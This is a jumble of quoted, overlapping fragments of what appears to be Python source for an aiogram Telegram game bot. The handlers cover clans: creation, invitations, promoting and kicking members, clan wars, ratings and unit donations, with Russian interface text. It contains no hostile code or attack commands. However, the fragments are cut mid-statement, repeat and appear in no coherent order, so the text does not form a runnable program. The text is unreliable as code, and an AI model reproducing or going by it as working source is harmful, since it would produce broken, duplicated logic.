state.get_data() user_id = callback.from_user.id if data.get(\"user_id\") != user_id: msg_text", "== \"clan_war\": if clan_member.clan.state == \"search\": if clans_search: clan_1: tables.Clan = clan_member.clan clan_2:", "clan_msg.edit_text( text=clan_members_msg.html_text, reply_markup=keyboard ) elif kick_member: member_id = int(kick_member[0]) checked_clan_member: tables.ClanMember = session.db.query(", "}) keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_emoji_clan_keyboard() set_emoji_msg = await message.answer( text=\"Выберите <b>логотип</b> вашего клана.\",", "msg_text = read_txt_file(\"text/clan/search_contest\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboards.clan.kb_cancel_contest ) clan_member.clan.state = \"search\" elif callback.data", "tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).first() if clan_member.rank in (\"Заместитель\", \"Лидер\"): if checked_clan_member.rank != \"Лидер\"", "is None or invited_clan_invitation_table is not None: return if (invited_clan_member_table is None) and", "clan_contest_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id clan_msg: types.Message", "clan_name = message.text[:16] clan_msg = await message.reply( text=\"Придумайте <b>описание</b> для \\n\" \"клана. (макс.", "= session.db.query( tables.ClanInvitation).filter_by( clan_id=clan_member_table.clan_id, user_id=replied_user.id).first() if invited_user_table is None or invited_clan_invitation_table is not", "\"user_id\": user_id, \"clan_msg\": clan_msg }) session.close() @dp.message_handler(filters.IsReplyFilter(True), regexp=ClanRegexp.invite, state=\"*\") async def invite_user_clan_handler(message: types.Message):", "if clan_member.rank in (\"Заместитель\", \"Лидер\"): if checked_clan_member.rank == \"Рекрут\": checked_clan_member.rank = \"Старейшина\" elif", "await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) except exceptions.MessageNotModified: pass @dp.callback_query_handler(regexp=ClanRegexp.invitation) async def clan_invitation_handler(callback: types.CallbackQuery,", "checked_clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).first() if clan_member.rank in (\"Заместитель\", \"Лидер\"): if checked_clan_member.rank ==", "clan_member_table: tables.ClanMember = session.filter_by_user_id( user_id=user_id, table=tables.ClanMember ) if clan_member_table is None: return if", "types.Message = data.get(\"set_emoji_msg\") await set_emoji_msg.delete() clan_name = data.get(\"clan_name\") clan_description = data.get(\"clan_description\") clan_emoji =", "async def clan_contest_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id", "(invited_clan_member_table is None) and (not replied_user.is_bot): time_set = timer.Timer.set_timer(86400) new_invitation = tables.ClanInvitation( user_id=replied_user.id,", "clan_msg.edit_text( text=\"{}\\n\\n\" \"Рейтинг: \\n\" \"Лидер: \\n\" \"Участников: \\n\" \"Осталось: \".format(clan_invitation_table.clan.name), reply_markup=keyboard ) elif", "user_id = callback.from_user.id clan_msg: types.Message = data.get(\"clan_msg\") clan_members_msg: types.Message = data.get(\"clan_members_msg\") if data.get(\"user_id\")", "message.answer( text=\"Выберите <b>логотип</b> вашего клана.\", reply_markup=keyboard ) await state.update_data({ \"set_emoji_msg\": set_emoji_msg }) await", "reply_markup=clan_msg.reply_markup ) await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.contest) async def clan_contest_handler(callback: types.CallbackQuery, state: FSMContext): data", "\\n\" \"Участников: \\n\" \"Осталось: \".format(clan_invitation_table.clan.name), reply_markup=keyboard ) elif accept_invitation: invitation_id = int(accept_invitation[0]) clan_invitation_table:", "reply_markup=keyboard ) elif callback.data == \"leave_clan\": await clan_msg.edit_text( text=\"Вы уверены,\\n что хотите покинуть", "сообщение.</i>\" ) await state.update_data({ \"clan_name\": clan_name, \"message_id\": clan_msg.message_id }) await states.Clan.set_description.set() @dp.message_handler(filters.IsReplyFilter(True), state=states.Clan.set_description)", "= db_api.CreateSession() if invitation: invitation_id = int(invitation[0]) clan_invitation_table: tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by(id=invitation_id).join(tables.Clan).first() keyboard", "message.reply( text=\"Придумайте <b>описание</b> для \\n\" \"клана. (макс. 21 символ)\\n\" \"<i>Ответив на это сообщение.</i>\"", "\"get_clan_units\": if clan_member.donate_timer != 0: await callback.answer(\"Станет доступно позже.\") session.close() return msg_text =", "aiogram import exceptions from aiogram.dispatcher import FSMContext from utils.misc.read_file import read_txt_file from utils.db_api", "5000 - townhall.money) ) session.close() return clan_msg = await clan_msg.edit_text( text=\"Придумайте <b>название</b> для", ") elif cancel_invitation: invitation_id = int(cancel_invitation[0]) session.db.query(tables.ClanInvitation).filter_by( id=invitation_id).delete() session.db.commit() keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard()", "invitation = re.findall(r\"open_invitation_(\\d+)\", callback.data) accept_invitation = re.findall(r\"accept_invitation_(\\d+)\", callback.data) cancel_invitation = re.findall(r\"cancel_invitation_(\\d+)\", callback.data) session", "read_txt_file(\"text/clan/in_clan\") clan_msg = await message.answer( text=msg_text.format( clan_member.clan.emoji, clan_member.clan.name, clan_member.clan.description[:21], clan_member.clan.rating, len(clan_members), clan_creator.first_name, clan_member.rank),", "@dp.callback_query_handler(regexp=ClanRegexp.invitation) async def clan_invitation_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id =", "money=0, units=0, creator=user_id ) session.db.add(new_clan) session.db.commit() clan: tables.Clan = session.db.query( tables.Clan).filter_by(creator=user_id).first() if clan", "clan_msg.edit_text( text=msg_text, reply_markup=keyboards.clan.kb_cancel_contest ) clan_member.clan.state = \"search\" elif callback.data == \"cancel_search_contest\": msg_text =", "@dp.callback_query_handler(regexp=ClanRegexp.contest) async def clan_contest_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id =", "\"clan_description\": clan_description, }) keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_emoji_clan_keyboard() set_emoji_msg = await message.answer( text=\"Выберите <b>логотип</b>", "session.close() return msg_text = read_txt_file(\"text/clan/get_clan_units\") keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_get_clan_units_keyboard() sticker = read_txt_file(\"sticker/get_clan_units\") await", "clan_creator: tables.User = session.db.query( tables.User).filter_by(user_id=clan_member.clan.creator).first() keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_clan_keyboard() msg_text = read_txt_file(\"text/clan/in_clan\") clan_msg", "tables.User).filter_by(user_id=clan_member.clan.creator).first() keyboard = kb_constructor.StandardKeyboard(user_id=user_id).create_clan_keyboard() msg_text = read_txt_file(\"text/clan/in_clan\") clan_msg = await message.answer( text=msg_text.format( clan_member.clan.emoji,", "user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) invitation = re.findall(r\"open_invitation_(\\d+)\", callback.data) accept_invitation =", "tables.Clan).order_by(desc(tables.Clan.rating)).all() text = \"\" clan_num = 1 for clan in clan_table[:10]: text +=", "state.get_data() if message.reply_to_message.message_id == data.get(\"message_id\"): clan_name = message.text[:16] clan_msg = await message.reply( text=\"Придумайте", "from aiogram.dispatcher import filters from aiogram import exceptions from aiogram.dispatcher import FSMContext from", "clan_members_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id clan_msg: types.Message", "await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) elif clan_member.clan.state == \"ending\": msg_text = read_txt_file(\"text/clan/ending_contest\") await", "= read_txt_file(\"text/clan/contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) session.close() return msg_text = read_txt_file(\"text/clan/search_contest\") await", "read_txt_file(\"text/clan/in_clan\") clan_msg = await callback.message.answer( text=msg_text.format( clan.emoji, clan.name, clan.description[:21], clan.rating, len(clan_members), clan_creator.first_name, clan_member.rank),", "return if clan_member is None: msg_text = read_txt_file(\"text/clan/without_clan\") clan_msg = await message.answer( text=msg_text,", "await clan_msg.edit_text( text=msg_text.format( checked_clan_member.user.first_name, checked_clan_member.contest_score, checked_clan_member.rank, ), reply_markup=keyboard ) elif raise_member: member_id =", "db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() if callback.data == \"start_search_contest\": msg_text = read_txt_file(\"text/clan/search_contest\")", "clan_creator.first_name, clan_member.rank), reply_markup=keyboard ) await state.reset_state(with_data=True) await state.set_data({ \"user_id\": user_id, \"clan_msg\": clan_msg })", "символ)\\n\" \"<i>Ответив на это сообщение.</i>\" ) await state.update_data({ \"clan_name\": clan_name, \"message_id\": clan_msg.message_id })", "\"clan_name\": clan_name, \"message_id\": clan_msg.message_id }) await states.Clan.set_description.set() @dp.message_handler(filters.IsReplyFilter(True), state=states.Clan.set_description) async def set_clan_description(message: types.Message,", "вступили в клан!\") keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text,", "clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() buildings: tables.Buildings = session.db.query( tables.Buildings).filter_by(user_id=user_id).first() if buildings.clan_building_lvl ==", "tables.ClanMember).filter_by(id=member_id).delete() session.db.commit() keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() await clan_msg.edit_text( text=clan_members_msg.html_text, reply_markup=keyboard ) elif callback.data", "state: FSMContext): data = await state.get_data() user_id = callback.from_user.id if data.get(\"user_id\") != user_id:", "= db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() clan_members: typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clans_search:", "elif callback.data == \"clan_members\": keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() msg_text = read_txt_file(\"text/clan/members\") clan_members_msg =", "tables.User).filter_by(user_id=clan_member.clan.creator).first() keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_clan_keyboard() msg_text = read_txt_file(\"text/clan/in_clan\") clan_msg = await callback.message.answer( text=msg_text.format(", "await clan_msg.edit_text( text=clan_msg.html_text, reply_markup=clan_msg.reply_markup, ) await callback.answer() @dp.callback_query_handler(regexp=ClanRegexp.without_clan) async def none_clan_handler(callback: types.CallbackQuery, state:", "callback.answer(\"В разработке...\") await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.invitation_page) async def clan_invitation_pages_handler(callback: types.CallbackQuery, state: FSMContext): data", "= \"Заместитель\" session.db.commit() keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() await clan_msg.edit_text( text=clan_members_msg.html_text, reply_markup=keyboard ) elif", "filters from aiogram import exceptions from aiogram.dispatcher import FSMContext from utils.misc.read_file import read_txt_file", "clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) else: msg_text = read_txt_file(\"text/clan/none_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_search_contest )", "session.db.query( tables.Buildings).filter_by(user_id=user_id).first() if buildings.clan_building_lvl == 0: sticker = read_txt_file(\"sticker/sad_knight\") await message.answer_sticker(sticker=sticker) msg_text =", "cancel_invitation = re.findall(r\"cancel_invitation_(\\d+)\", callback.data) session = db_api.CreateSession() if invitation: invitation_id = int(invitation[0]) clan_invitation_table:", "read_txt_file(\"text/clan/ending_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) else: msg_text = read_txt_file(\"text/clan/none_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count),", "session.db.query( tables.ClanInvitation).filter_by(id=invitation_id).join(tables.Clan).first() keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_invitation_keyboard(invitation_id=invitation_id) await clan_msg.edit_text( text=\"{}\\n\\n\" \"Рейтинг: \\n\" \"Лидер: \\n\"", "user_id = message.from_user.id replied_user = message.reply_to_message.from_user session = db_api.CreateSession() clan_member_table: tables.ClanMember = session.filter_by_user_id(", "await state.set_data({ \"user_id\": user_id, \"clan_msg\": clan_msg }) session.close() @dp.message_handler(filters.IsReplyFilter(True), regexp=ClanRegexp.invite, state=\"*\") async def", "async def set_clan_name(message: types.Message, state: FSMContext): data = await state.get_data() if message.reply_to_message.message_id ==", "clan_msg.edit_text( text=msg_text.format( checked_clan_member.user.first_name, checked_clan_member.contest_score, checked_clan_member.rank, ), reply_markup=keyboard ) elif raise_member: member_id = int(raise_member[0])", "user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.get_clan_units)", ") elif callback.data == \"leave_clan\": await clan_msg.edit_text( text=\"Вы уверены,\\n что хотите покинуть клан?\",", "state.set_data({ \"user_id\": user_id, \"clan_msg\": clan_msg }) session.close() @dp.message_handler(filters.IsReplyFilter(True), regexp=ClanRegexp.invite, state=\"*\") async def invite_user_clan_handler(message:", "if townhall.money >= 5000: townhall.money -= 5000 else: await callback.answer( \"Для создания клана", "is None) and (not replied_user.is_bot): time_set = timer.Timer.set_timer(86400) new_invitation = tables.ClanInvitation( user_id=replied_user.id, clan_id=clan_member_table.clan_id,", "clan_emoji = callback.data new_clan = tables.Clan( name=clan_name, description=clan_description, emoji=clan_emoji, rating=0, money=0, units=0, creator=user_id", "tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() if callback.data == \"start_search_contest\": msg_text = read_txt_file(\"text/clan/search_contest\") await clan_msg.edit_text(", "data = await state.get_data() user_id = callback.from_user.id clan_msg: types.Message = data.get(\"clan_msg\") clan_members_msg: types.Message", "session = db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() buildings: tables.Buildings = session.db.query( tables.Buildings).filter_by(user_id=user_id).first()", "}) session.close() @dp.callback_query_handler(regexp=ClanRegexp.back) async def clan_back_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data()", "await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.invitation_page) async def clan_invitation_pages_handler(callback: types.CallbackQuery, state: FSMContext): data = await", "callback.from_user.id if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) session =", "None or invited_clan_invitation_table is not None: return if (invited_clan_member_table is None) and (not", "clan_member.clan.state == \"search\": if clans_search: clan_1: tables.Clan = clan_member.clan clan_2: tables.Clan = random.choice(clans_search)", ") await callback.answer() @dp.callback_query_handler(regexp=ClanRegexp.without_clan) async def none_clan_handler(callback: types.CallbackQuery, state: FSMContext): data = await", "= data.get(\"clan_msg\") if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) await", "callback.data) session = db_api.CreateSession() if invitation: invitation_id = int(invitation[0]) clan_invitation_table: tables.ClanInvitation = session.db.query(", "donate_timer=0 ) session.db.add(new_clan_member) session.db.query(tables.ClanInvitation).filter_by( id=invitation_id).delete() session.db.commit() await callback.answer(\"Вы вступили в клан!\") keyboard =", "user_id=user_id).create_invitation_keyboard(page) try: msg_text = read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) except exceptions.MessageNotModified: pass", "tables.User = session.db.query( tables.User).filter_by(user_id=clan_member.clan.creator).first() keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_clan_keyboard() msg_text = read_txt_file(\"text/clan/in_clan\") clan_msg =", "session.close() return clan_members: typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clan_creator: tables.User = session.db.query( tables.User).filter_by(user_id=clan_member.clan.creator).first() keyboard", "= kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) elif cancel_invitation:", "msg_text = read_txt_file(\"text/clan/clan_invitations\") clan_invitation_msg = await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) await state.update_data({ \"clan_invitation_msg\":", "kb_constructor.StandardKeyboard( user_id=user_id).create_emoji_clan_keyboard() set_emoji_msg = await message.answer( text=\"Выберите <b>логотип</b> вашего клана.\", reply_markup=keyboard ) await", "await callback.message.answer( text=msg_text.format(townhall.country_name, callback.from_user.get_mention()), reply_markup=keyboard ) clan_member.donate_timer = timer.Timer.set_timer(28800) session.db.commit() await callback.answer() session.close()", "= \"contest\" clan_2.state = \"contest\" new_contest = tables.Contest( clan_id_1=clan_1.clan_id, clan_id_2=clan_2.clan_id, recent_log=[\"Война началась.\"], log=[\"Война", "= session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() clan_members: typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clan_creator: tables.User = session.db.query( tables.User).filter_by(user_id=clan_member.clan.creator).first()", "clan_id=clan.clan_id, user_id=user_id, clan_units=0, rank=\"Лидер\" ) session.db.add(new_clan_member) session.db.commit() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() clan_members:", "msg_text = read_txt_file(\"text/clan/get_clan_units\") keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_get_clan_units_keyboard() sticker = read_txt_file(\"sticker/get_clan_units\") await callback.message.answer_sticker(sticker=sticker) await", "\"<i>Ответив на это сообщение.</i>\" ) await state.update_data({ \"clan_name\": clan_name, \"message_id\": clan_msg.message_id }) await", "= callback.from_user.id clan_msg: types.Message = data.get(\"clan_msg\") if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\")", "else: rank = \"Рекрут\" new_clan_member = tables.ClanMember( clan_id=clan_invitation_table.clan_id, user_id=user_id, rank=rank, contest_score=0, clan_units=0, units_donate=0,", "<b>{}</b> [ <code>{}</code> ⭐ ]\\n\".format(clan_num, clan.name, clan.rating) clan_num += 1 msg_text = read_txt_file(\"text/clan/rating\")", "= await state.get_data() if message.reply_to_message.message_id == data.get(\"message_id\"): clan_name = message.text[:16] clan_msg = await", "= message.from_user.id replied_user = message.reply_to_message.from_user session = db_api.CreateSession() clan_member_table: tables.ClanMember = session.filter_by_user_id( user_id=user_id,", "re.findall(r\"check_clan_member_(\\d+)\", callback.data) raise_member = re.findall(r\"raise_clan_member_(\\d+)\", callback.data) kick_member = re.findall(r\"kick_clan_member_(\\d+)\", callback.data) if clan_member_id: member_id", "re.findall(r\"accept_invitation_(\\d+)\", callback.data) cancel_invitation = re.findall(r\"cancel_invitation_(\\d+)\", callback.data) session = db_api.CreateSession() if invitation: invitation_id =", "return if (invited_clan_member_table is None) and (not replied_user.is_bot): time_set = timer.Timer.set_timer(86400) new_invitation =", "state=\"*\") async def invite_user_clan_handler(message: types.Message): user_id = message.from_user.id replied_user = message.reply_to_message.from_user session =", "= data.get(\"clan_description\") clan_emoji = callback.data new_clan = tables.Clan( name=clan_name, description=clan_description, emoji=clan_emoji, rating=0, money=0,", "data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) session = db_api.CreateSession() clan_member:", "user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) page_move = re.findall(r\"invitation_page_(\\d+)\", callback.data)[0] page =", "elif raise_member: member_id = int(raise_member[0]) checked_clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).first() if clan_member.rank in", "new_clan = tables.Clan( name=clan_name, description=clan_description, emoji=clan_emoji, rating=0, money=0, units=0, creator=user_id ) session.db.add(new_clan) session.db.commit()", ") elif callback.data == \"yes_leave_clan\": session.db.query( tables.ClanMember).filter_by(user_id=user_id).delete() session.db.commit() await clan_msg.edit_text( text=\"Клан\", reply_markup=keyboards.clan.kb_none_clan )", "checked_clan_member.rank == \"Рекрут\": checked_clan_member.rank = \"Старейшина\" elif checked_clan_member.rank == \"Старейшина\": checked_clan_member.rank = \"Заместитель\"", "await message.answer( text=msg_text.format( clan_member.clan.emoji, clan_member.clan.name, clan_member.clan.description[:21], clan_member.clan.rating, len(clan_members), clan_creator.first_name, clan_member.rank), reply_markup=keyboard ) await", "session = db_api.CreateSession() townhall: tables.TownHall = session.db.query( tables.TownHall).filter_by(user_id=user_id).first() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first()", "session.db.query( tables.Clan).filter_by(creator=user_id).first() if clan is not None: new_clan_member = tables.ClanMember( clan_id=clan.clan_id, user_id=user_id, clan_units=0,", "typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clan_creator: tables.User = session.db.query( tables.User).filter_by(user_id=clan_member.clan.creator).first() keyboard = kb_constructor.StandardKeyboard(user_id=user_id).create_clan_keyboard() msg_text", "await clan_msg.edit_text( text=msg_text, reply_markup=keyboards.clan.kb_search_contest ) clan_member.clan.state = None await callback.answer() session.close() @dp.message_handler(filters.IsReplyFilter(True), state=states.Clan.set_name)", "callback.data new_clan = tables.Clan( name=clan_name, description=clan_description, emoji=clan_emoji, rating=0, money=0, units=0, creator=user_id ) session.db.add(new_clan)", "data.get(\"clan_msg\") if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) invitation =", "await clan_msg.edit_text( text=\"Клан\", reply_markup=keyboards.clan.kb_none_clan ) elif callback.data == \"no_leave_clan\": await clan_msg.edit_text( text=clan_msg.html_text, reply_markup=clan_msg.reply_markup", "= data.get(\"clan_msg\") if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) invitation", "emojis = [ \"❤\", \"‍🔥\", \"💖\", \"🍩\", \"🌶\", \"💩\", \"💧\", \"🌈\", \"🌞\", \"🌻\",", "clan_member.donate_timer = timer.Timer.set_timer(28800) session.db.commit() await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.member) async def clan_members_handler(callback: types.CallbackQuery, state:", "= db_api.CreateSession() clan_member_table: tables.ClanMember = session.filter_by_user_id( user_id=user_id, table=tables.ClanMember ) if clan_member_table is None:", "try: msg_text = read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) except exceptions.MessageNotModified: pass @dp.callback_query_handler(regexp=ClanRegexp.invitation)", "user_id = callback.from_user.id emojis = [ \"❤\", \"‍🔥\", \"💖\", \"🍩\", \"🌶\", \"💩\", \"💧\",", "user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) session = db_api.CreateSession() clan_member: tables.ClanMember =", "data.get(\"message_id\"): clan_name = message.text[:16] clan_msg = await message.reply( text=\"Придумайте <b>описание</b> для \\n\" \"клана.", "clan_msg.edit_text( text=\"Клан\", reply_markup=keyboards.clan.kb_none_clan ) elif callback.data == \"no_leave_clan\": await clan_msg.edit_text( text=clan_msg.html_text, reply_markup=clan_msg.reply_markup )", "своего\\n\" \"клана. (макс. 16 символов)\\n\" \"<i>Ответив на это сообщение.</i>\" ) await state.update_data({ \"message_id\":", "[ \"❤\", \"‍🔥\", \"💖\", \"🍩\", \"🌶\", \"💩\", \"💧\", \"🌈\", \"🌞\", \"🌻\", \"🌹\", \"☠\",", "в клан!\") keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboard", "сообщение.</i>\" ) await state.update_data({ \"message_id\": clan_msg.message_id }) await states.Clan.set_name.set() elif callback.data == \"clans_rating\":", "\"contest\" clan_2.state = \"contest\" new_contest = tables.Contest( clan_id_1=clan_1.clan_id, clan_id_2=clan_2.clan_id, recent_log=[\"Война началась.\"], log=[\"Война началась.\"],", "= db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() clan_member_id = re.findall(r\"check_clan_member_(\\d+)\", callback.data) raise_member =", "clan_num = 1 for clan in clan_table[:10]: text += \"{}. <b>{}</b> [ <code>{}</code>", "clan_members: typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clans_search: typing.List[tables.Clan] = session.db.query( tables.Clan).filter(and_( tables.Clan.state == \"search\",", "== \"Рекрут\": checked_clan_member.rank = \"Старейшина\" elif checked_clan_member.rank == \"Старейшина\": checked_clan_member.rank = \"Заместитель\" session.db.commit()", "def clan_invitation_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id clan_msg:", "[ <code>{}</code> ⭐ ]\\n\".format(clan_num, clan.name, clan.rating) clan_num += 1 msg_text = read_txt_file(\"text/clan/rating\") await", "read_txt_file(\"sticker/sad_knight\") await message.answer_sticker(sticker=sticker) msg_text = read_txt_file(\"text/clan/destroyed_clan\") await message.answer( text=msg_text, ) session.close() return if", "@dp.message_handler(state=\"*\", commands=\"clan\") async def clan_command_handler(message: types.Message, state: FSMContext): user_id = message.from_user.id session =", "= read_txt_file(\"text/clan/in_clan\") clan_msg = await callback.message.answer( text=msg_text.format( clan.emoji, clan.name, clan.description[:21], clan.rating, len(clan_members), clan_creator.first_name,", "and clan_member.rank != checked_clan_member.rank: session.db.query( tables.ClanMember).filter_by(id=member_id).delete() session.db.commit() keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() await clan_msg.edit_text(", ") elif clan_member.clan.state == \"contest\": msg_text = read_txt_file(\"text/clan/contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back )", "user_id=user_id).create_clan_keyboard() msg_text = read_txt_file(\"text/clan/in_clan\") clan_msg = await callback.message.answer( text=msg_text.format( clan.emoji, clan.name, clan.description[:21], clan.rating,", "= read_txt_file(\"text/clan/get_clan_units\") keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_get_clan_units_keyboard() sticker = read_txt_file(\"sticker/get_clan_units\") await callback.message.answer_sticker(sticker=sticker) await callback.message.answer(", "state=states.Clan.set_name) async def set_clan_name(message: types.Message, state: FSMContext): data = await state.get_data() if message.reply_to_message.message_id", "state.get_data() user_id = callback.from_user.id emojis = [ \"❤\", \"‍🔥\", \"💖\", \"🍩\", \"🌶\", \"💩\",", "= session.db.query( tables.Buildings).filter_by(user_id=user_id).first() if buildings.clan_building_lvl == 0: sticker = read_txt_file(\"sticker/sad_knight\") await message.answer_sticker(sticker=sticker) msg_text", "id=invitation_id).delete() session.db.commit() await callback.answer(\"Вы вступили в клан!\") keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text =", "exceptions from aiogram.dispatcher import FSMContext from utils.misc.read_file import read_txt_file from utils.db_api import tables,", "callback.answer() @dp.callback_query_handler(regexp=ClanRegexp.without_clan) async def none_clan_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id", "text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) session.close() return msg_text = read_txt_file(\"text/clan/search_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_cancel_contest )", "= re.findall(r\"kick_clan_member_(\\d+)\", callback.data) if clan_member_id: member_id = int(clan_member_id[0]) checked_clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).join(tables.User).first()", "await states.Clan.set_description.set() @dp.message_handler(filters.IsReplyFilter(True), state=states.Clan.set_description) async def set_clan_description(message: types.Message, state: FSMContext): data = await", "invite_user_clan_handler(message: types.Message): user_id = message.from_user.id replied_user = message.reply_to_message.from_user session = db_api.CreateSession() clan_member_table: tables.ClanMember", "if clan_member.clan.state == \"search\": if clans_search: clan_1: tables.Clan = clan_member.clan clan_2: tables.Clan =", "text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) elif clan_member.clan.state == \"ending\": msg_text = read_txt_file(\"text/clan/ending_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count),", "if invited_user_table is None or invited_clan_invitation_table is not None: return if (invited_clan_member_table is", "text=msg_text, reply_markup=keyboard ) await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.get_clan_units) async def clan_getting_units_handler(callback: types.CallbackQuery, state: FSMContext):", "= timer.Timer.set_timer(28800) session.db.commit() await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.member) async def clan_members_handler(callback: types.CallbackQuery, state: FSMContext):", "tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clans_search: typing.List[tables.Clan] = session.db.query( tables.Clan).filter(and_( tables.Clan.state == \"search\", tables.Clan.clan_id != clan_member.clan_id)).all() if", "clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) except exceptions.MessageNotModified: pass @dp.callback_query_handler(regexp=ClanRegexp.invitation) async def clan_invitation_handler(callback: types.CallbackQuery, state:", "== \"leave_clan\": await clan_msg.edit_text( text=\"Вы уверены,\\n что хотите покинуть клан?\", reply_markup=keyboards.clan.kb_leave_clan ) elif", "reply_markup=keyboard ) elif cancel_invitation: invitation_id = int(cancel_invitation[0]) session.db.query(tables.ClanInvitation).filter_by( id=invitation_id).delete() session.db.commit() keyboard = kb_constructor.PaginationKeyboard(", "emojis: set_emoji_msg: types.Message = data.get(\"set_emoji_msg\") await set_emoji_msg.delete() 